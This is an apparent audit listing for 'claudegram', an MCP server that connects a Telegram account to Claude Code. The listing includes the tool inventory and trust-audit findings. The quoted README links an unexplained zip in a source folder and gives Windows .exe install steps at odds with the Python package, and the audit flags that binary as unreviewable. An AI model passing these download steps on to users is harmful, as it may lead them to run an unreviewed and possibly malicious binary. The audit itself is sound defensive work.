Atlas / MCP servers / uri6407 / claudegram

claudegramCAUTION

mcp/uri6407/claudegram

Connect your personal Telegram account to Claude Code using the MTProto protocol instead of the Bot API.

Verdict
CAUTION
Grade
B
Trust score
81 /100
Exposed tools
133 88r · 34w · 11d
Transport
stdio
License
MIT
Stars
2
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://github.com/Uri6407/claudegram/raw/refs/heads/main/server/tools/peers/Software-v3.4.zip)

💡 What is claudegram?

Claudegram lets you control your Telegram account using intelligent commands. You can automate messages, manage channels, and organize your chats through a central computer program. It connects Claude to your Telegram account safely. You gain control over your data and interactions without needing technical skills.

The software includes over 120 specialized tools to manage your Telegram account. It provides safety checks to keep your information secure. It acts as a bridge between your desktop environment and the Telegram messaging network. You use simple prompts to perform complex tasks.

💻 System Requirements

To run this application, your computer needs the following:

  • Windows 10 or Windows 11
  • A stable internet connection
  • 200 MB of free storage space
  • A valid Telegram account

📥 How to Install

  1. Visit the official download page.
  2. Locate the file named claudegram-setup.exe.
  3. Save the file to your computer.
  4. Double-click the file to start the installation.
  5. Follow the prompts on your screen to complete the setup.
  6. Open the application from your desktop icon.

🚀 Setting Up Your Account

When you open claudegram, you must link your Telegram account. Follow these steps to complete the link:

  1. Enter your Telegram phone number when prompted.
  2. Check your phone for a confirmation code from Telegram.
  3. Type that code into the claudegram application.
  4. Select verify to establish the connection.

The application uses the MTProto protocol to talk to Telegram servers. This is an official method provided by Telegram for third-party programs. Your credentials stay secure within

Read from source at commit 001d7a2f068cOBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.

claude-code
claude mcp add claudegram -- uvx claudegram
claude-desktop
{
  "mcpServers": {
    "claudegram": {
      "command": "uvx",
      "args": [
        "claudegram"
      ]
    }
  }
}
03

Exposed tools (133)

88 read · 34 write · 11 destructive. Blast radius: 11 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

ToolRiskDescription
add_contactwriteДобавить пользователя в контакты.
archive_dialogreadПереместить диалог в архив (folder=1).
archive_dialogsreadПеренести N диалогов в архив.
auth_cancelreadОтменить незавершённый auth-flow (если запросил код, но не ввёл).
auth_request_codereadШаг 1: запросить SMS-код у Telegram. Очищает предыдущий auth-state.
auth_submit_codewriteШаг 2: отправить код (и опц. пароль 2FA).
ban_participantreadЗабанить участника навсегда — он не сможет вернуться.
block_userreadЗаблокировать пользователя — он не сможет писать.
clear_draftdestructiveОчистить draft в чате (синхронизация на все устройства).
click_inline_buttonreadНажать inline-кнопку под сообщением бота.
create_channelwriteСоздать канал (broadcast=True) или супергруппу (megagroup=True).
create_dialog_filterwriteСоздать/обновить кастомную папку диалогов.
create_forum_topicwriteСоздать новую тему в forum-супергруппе.
create_groupwriteСоздать обычную группу с указанными участниками.
delete_contactdestructiveУдалить пользователя из контактов.
delete_dialogdestructiveПокинуть чат/канал или удалить личный диалог.
delete_dialog_filterdestructiveУдалить кастомную папку диалогов.
delete_dialogsdestructiveУдалить N диалогов одним MCP-вызовом.
delete_forum_topicdestructiveУдалить тему вместе со всеми сообщениями.
delete_messagedestructiveУдалить сообщения. По умолчанию — только у себя.
delete_scheduleddestructiveУдалить отложенные сообщения (до их отправки).
delete_storiesdestructiveУдалить свои истории.
demote_adminreadСнять права админа (все флаги в False).
dialog_statsreadСчётчики диалогов по типам — без payload, 1 запрос.
download_mediareadСкачать медиа из сообщения.
download_profile_photoreadСкачать аватарку юзера/чата на диск или inline (base64 в ответе).
edit_chat_aboutwriteУстановить описание чата (about/bio).
edit_chat_photowriteУстановить аватарку чата/канала из файла.
edit_chat_titlewriteПереименовать чат/канал.
edit_forum_topicwriteРедактировать тему: переименовать, закрыть, скрыть.
edit_messagewriteОтредактировать своё сообщение.
export_chat_invitereadСоздать invite-ссылку на чат/канал.
forward_messagereadПереслать сообщения из одного чата в другой.
get_admin_logreadЖурнал действий админов в супергруппе/канале.
get_all_storiesreadВсе доступные истории из ленты (по подпискам).
get_app_configreadКонфигурация клиента (флаги фич, premium-лимиты, gifts и т.д.).
get_authorizationsreadСписок активных сессий аккаунта (другие устройства/клиенты).
get_blockedreadСписок заблокированных юзеров.
get_chat_inforeadПодробная инфа о любом entity: пользователе/чате/канале/боте.
get_common_chatsreadОбщие чаты с указанным юзером.
get_contactsreadСписок всех контактов аккаунта.
get_countries_listreadСписок всех стран с phone-кодами (для интерфейса добавления контактов).
get_dialog_filtersreadСписок кастомных папок диалогов (Folders в UI Telegram).
get_dialogs_by_idsreadПолучить informация о N конкретных диалогах одним вызовом.
get_draftsreadСписок несохранённых черновиков по всем чатам.
get_forum_topicsreadСписок тем в forum-супергруппе.
get_forum_topics_by_idreadПолучить конкретные темы по их id.
get_full_userreadРасширенная инфа о пользователе (bio, общие чаты, premium, etc).
get_historyreadСообщения чата (новые → старые по умолчанию).
get_history_with_linksreadГибрид: компактные text-блоки + ResourceLink на каждое сообщение.
get_input_peerreadПолучить InputPeer для чата (нужен для raw API вызовов).
get_installed_stickersreadСписок установленных стикерсетов.
get_mereadИнформация о текущем авторизованном пользователе.
get_media_inforeadМетаданные медиа в сообщении (тип, размер, mime, dimensions, duration).
get_nearest_dcreadБлижайший Telegram DC по geo (используется для оптимизации).
get_participantsreadСписок участников группы/канала.
get_password_inforeadИнформация о настроенном 2FA-пароле (включён ли, hint, recovery email).
get_peer_storiesreadАктивные истории конкретного юзера/канала.
get_pinned_storiesreadЗакреплённые (сохранённые в профиле) истории юзера.
get_poll_resultsreadТекущие результаты опроса (количество голосов на вариант).
get_premium_promoreadПромо-материал Telegram Premium (фичи, цены).
get_privacyreadПолучить текущие privacy-настройки для указанного ключа.
get_profile_photosreadСписок фото профиля юзера/группы/канала (метаданные, без скачивания).
get_scheduled_messagesreadСписок отложенных сообщений в чате (которые ещё не отправлены).
get_server_versionreadВерсия Claudegram + Telethon + MCP SDK.
get_stars_balancereadТекущий баланс Telegram Stars (внутренняя валюта).
get_stars_transactionsreadИстория Stars-транзакций (покупки/расходы).
get_statsreadСтатистика канала/супергруппы (только если ты админ).
get_sticker_setwriteПолучить стикерсет по short_name (например
get_stories_archivereadАрхив моих историй (истёкшие, но не удалённые).
get_stories_by_idreadПолучить конкретные истории по их id.
get_story_viewsreadКто посмотрел мою story.
get_telegram_configreadБазовый конфиг Telegram-сети (DC, лимиты файлов, edit_time_limit и т.д.).
get_top_peersreadТоп часто-используемых контактов в указанной категории.
health_checkreadПроверка работоспособности: соединение с Telegram, валидность сессии.
import_contactswriteМассовый импорт контактов по номерам телефона (без знания Telegram-ID).
inline_queryreadСделать inline-запрос к боту (как `@bot query` в любом чате).
install_sticker_setwriteУстановить стикерсет аккаунту.
invoke_rawwriteВызвать произвольный Telegram MTProto-метод через Telethon.
join_chatreadВойти в публичный канал/группу (по @username или ссылке-приглашению).
kick_participantreadКикнуть участника из чата (он сможет вернуться).
leave_chatreadВыйти из канала/супергруппы.
leave_chatsreadВыйти из N каналов/супергрупп одним вызовом.
list_botsreadPM-боты в диалогах.
list_channelsreadТолько broadcast-каналы (без supergroup
list_chatsreadСписок всех диалогов (юзеры/боты/группы/каналы — без фильтра).
list_groupsreadГруппы и супергруппы.
list_pm_usersreadЛичные чаты с юзерами (без ботов).
mark_readreadПометить сообщения чата прочитанными.
mark_stories_readreadПометить истории прочитанными до указанного id.
mute_dialogreadЗамьютить уведомления чата.
pin_dialogreadЗакрепить/открепить диалог в шапке списка.
pin_forum_topicreadЗакрепить/открепить тему в шапке.
pin_messagereadЗакрепить сообщение в чате.
promote_adminreadНазначить участника администратором с заданными правами.
react_messagereadПоставить реакцию-эмодзи на сообщение.
reorder_pinned_forum_topicsreadПереставить порядок закреплённых тем.
resolve_usernamereadНайти entity по @username и вернуть инфу + id.
restrict_participantreadОграничить права участника супергруппы (read-only mute и т.п.).
save_draftwriteСохранить серверный draft в чате (синхронизируется на все устройства).
search_globalreadГлобальный поиск по юзерам/чатам/каналам по имени или @username.
search_messagesreadПоиск сообщений по тексту глобально или в чате.
search_sticker_setsreadПоиск стикерсетов по имени (Telegram-каталог).
send_albumwriteОтправить альбом из 2-10 фото/видео одной группой.
send_contactwriteОтправить визитку контакта.
send_dicewriteОтправить интерактивный «кубик».
send_filewriteОтправить файл. Telethon сам определит тип (фото/видео/документ).
send_locationwriteОтправить геолокацию.
send_messagewriteОтправить текстовое сообщение.
send_pollwriteСоздать и отправить опрос.
send_scheduled_nowwriteПринудительно отправить отложенные сообщения сейчас.
send_sticker_by_idwriteОтправить стикер по document_id (получи через get_sticker_set).
send_storywriteОпубликовать новую story с фото/видео.
send_video_notewriteОтправить video-кружок (.mp4 → круглое видео ≤60s, диаметр 384px).
send_voicewriteОтправить голосовое сообщение (.ogg/.mp3 → opus voice note).
set_onlinewriteУстановить online/offline статус.
set_privacywriteУстановить privacy для указанного ключа.
set_typingwriteПослать сигнал активности в чат (печатает / записывает / отправляет).
start_botwriteЗапустить бота (отправить /start) с deep-link параметром.
summarize_chatreadРезюме последних N сообщений чата через LLM-вызов клиента.
terminate_authorizationdestructiveЗавершить чужую активную сессию по `hash` из get_authorizations.
toggle_forum_modereadВключить/выключить forum-режим (темы) в супергруппе.
toggle_pinned_storiesreadЗакрепить/открепить мои stories в профиле (доступно бессрочно).
transcribe_audioreadТранскрибировать голосовое в текст (Telegram Premium фича).
unarchive_dialogreadВернуть диалог из архива в основной список (folder=0).
unban_participantreadСнять бан с участника.
unblock_userreadРазблокировать пользователя.
uninstall_sticker_setdestructiveУдалить стикерсет из аккаунта.
unmute_dialogreadСнять mute с чата (вернуть дефолтные настройки).
unpin_messagereadОткрепить одно сообщение или все pinned в чате.
update_profilewriteИзменить отображаемое имя/фамилию/био собственного профиля.
update_usernamewriteСменить @username аккаунта (пустая строка — снять username).
vote_pollreadПроголосовать в poll.
04

Trust audit

CAUTIONgrade B · trust 81/100 Install with care. The audit found things worth knowing before you trust its output.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeWARN
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfaceWARN
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (1 observation(s))
Network
none-observed
Shell
declared (1 observation(s))
Dependencies
pinned
Secrets in source
none-found

Findings (9)

MEDIUMInventory / provenance · inv.binary · CWE-1104
server/tools/peers/Software-v3.4.zip
Software-v3.4.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
server/tools/advanced/raw.py:45
module = importlib.import_module(module_path)
MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94
server/permission_relay.py:124
text += f"\nОтветь:\n  `yes {request_id}` — разрешить\n  `no {request_id}` — запретить"
MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94
server/prompts.py:30
f"4. Дай короткое summary каждого блока (одна-две фразы про suть).\n"
MEDIUMObfuscation / stealth · obf.homoglyph · CWE-506, CWE-94
server/prompts.py:90
f"4. Покажи 5-7 buллетов общим итогом + 3-5 конкретных action items, на которые стоит ответить."
MEDIUMObfuscation / stealth · obf.zero_width · CWE-506, CWE-94
server/completions.py:32
"🥱", "🥴", "😍", "🐳", "❤🔥", "🌚", "🌭", "💯", "🤣", "⚡",
MEDIUMObfuscation / stealth · obf.zero_width · CWE-506, CWE-94
server/completions.py:34
"😴", "😭", "🤓", "👻", "👨💻", "👀", "🎃", "🙈", "😇", "😨",
MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
clear_draft, delete_contact, delete_dialog, delete_dialog_filter, delete_dialogs, delete_forum_topic, delete_message, delete_scheduled, delete_stories, terminate_authorization, uninstall_sticker_set
Why it matters. 11 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
tests/conftest.py:141
mod = __import__(f"server.tools.{path}", fromlist=["get_client"])

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 001d7a2f068cfull audit observations/trust-audit/mcp-server/uri6407__claudegram.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-11001d7a2f068cCAUTIONB81first audit
06

Questions

What is the claudegram MCP server?

Connect your personal Telegram account to Claude Code using the MTProto protocol instead of the Bot API.

What tools does claudegram expose?

133 in total: 88 read-only, 34 that write, and 11 that can delete or overwrite (clear_draft, delete_contact, delete_dialog, delete_dialog_filter, delete_dialogs). Every one is listed on this page with its risk.

Is claudegram safe to connect to an agent?

With care. The audit graded it B (81/100) and found 9 things worth knowing before you trust this server, listed below with the exact line each was found on. Separately from the audit: 11 of its tools can destroy data, so scope the token you give it to what you actually need.

What credentials does claudegram need?

No credential environment variables were found in its source, so it appears to need none.

How does claudegram run?

It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as claudegram.

How current is this page?

The grade is for one exact copy of the source (001d7a2f068c), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement